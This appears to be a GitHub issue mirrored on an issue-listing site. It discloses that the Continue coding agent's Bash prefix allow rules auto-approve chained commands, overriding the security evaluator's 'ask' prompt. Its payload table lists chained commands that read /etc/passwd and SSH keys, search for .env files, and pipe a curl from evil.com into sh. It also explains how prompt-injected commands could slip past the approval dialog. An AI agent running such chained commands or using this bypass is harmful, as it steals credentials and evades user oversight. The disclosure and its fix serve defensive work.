continuedev / continuedev/continue

HITL bypass: Bash(prefix*) static allow matches chained commands — user-preference-wins overrides dynamic security evaluator ask

Open
#13,288 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
TypeScript
Stars
36k
Forks
5.4k
PR merge metrics
No merged PRs in 30d

Description

Summary

When a user configures an allow rule like Bash(ls*) for the terminal tool, the permission checker converts the pattern to regex ^ls.*$ and tests it against the entire command string — including chained commands after ;, &&, or |. Additionally, checkToolPermission implements a "user preference wins" policy: if the static rule says allow, the dynamic security evaluator's ask recommendation is overridden.

Combined effect: approving ls -la permanently auto-approves any command starting with ls — including ls; cat /etc/passwd, ls && find /home -name .env, or ls; curl http://evil.com | sh.

Root cause

  1. Static pattern matching (permissionChecker.ts:42-57): Bash(ls*) → regex ^ls.*$ tested against the FULL command string, not just the first command.

  2. Dynamic evaluator override (permissionChecker.ts:161-174): checkToolPermission implements "user preference wins" — if the static rule says allow, the dynamic security evaluator's ask is discarded:

    if (evaluatedPolicy === "disabled") { return "exclude"; }
    return { permission: basePermission };  // static allow overrides evaluator "ask"
    
  3. No compound-command splitting (tool/bash.ts): unlike Zed (which parses sub-commands via brush-parser) or AutoGPT (which splits on ;/&&), Continue passes the raw command string to the permission checker without parsing it into individual sub-commands.

Reproduction (fully offline)

import { evaluateTerminalCommandSecurity } from "packages/terminal-security/src/evaluateTerminalCommandSecurity.ts";

// User config: Bash(ls*) -> allow
// The static rule matches the ENTIRE command:
const matches = new RegExp("^ls.*$").test("ls; cat /etc/passwd");  // true

// Dynamic evaluator says "ask":
const dynamic = evaluateTerminalCommandSecurity("allowedWithPermission", "ls; cat /etc/passwd");
// -> "allowedWithPermission"

// But "user preference wins" overrides:
// -> final permission = "allow" -> executes without prompting

Tested payloads (all with base policy Bash(ls*) -> allow):

command static match dynamic evaluator final effect
ls ✅ allow AUTO-EXEC ✓ safe
ls; cat /etc/passwd ✅ allow ask AUTO-EXEC 🚨 reads /etc/passwd
ls && find /home -name .env ✅ allow ask AUTO-EXEC 🚨 credential discovery
ls; cat ~/.ssh/id_rsa ✅ allow ask AUTO-EXEC 🚨 SSH key theft
ls; curl http://evil.com | sh ✅ allow ask AUTO-EXEC 🚨 RCE
ls; python3 -c 'import os; os.system("…")' ✅ allow ask AUTO-EXEC 🚨 RCE

Impact

Once a user approves a benign prefix command (e.g., ls -la), any subsequent prompt-injected command starting with that prefix — including chained destructive or exfiltration commands — executes silently without any user interaction. The confirmation dialog the user trusts is effectively disabled for that prefix.

Suggested fix

  1. Split compound commands on ;, &&, || before pattern matching (as Continue's own evaluateTerminalCommandSecurity already does for its dynamic evaluator)
  2. Match each sub-command independently against the static rules
  3. If any sub-command fails to match the allow rule, require explicit approval for the full command

Credit

Chengzhi Yi — yimou@hust.edu.cn — GitHub: @Tardfyou

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by reading permissionChecker.ts:42-57 and :161-174, then inspect tool/bash.ts and evaluateTerminalCommandSecurity.ts to understand how commands are matched and split. Add coverage for compound commands under a Bash(ls*) allow rule and ensure every sub-command is checked before automatic approval; done means unsafe chained commands require explicit approval.

Written by the indexing model from the issue text.

Assessment

Tech stack
bash, typescript
Domain
cli, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Active
Clarity
Mostly clear
Newbie friendliness
48/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.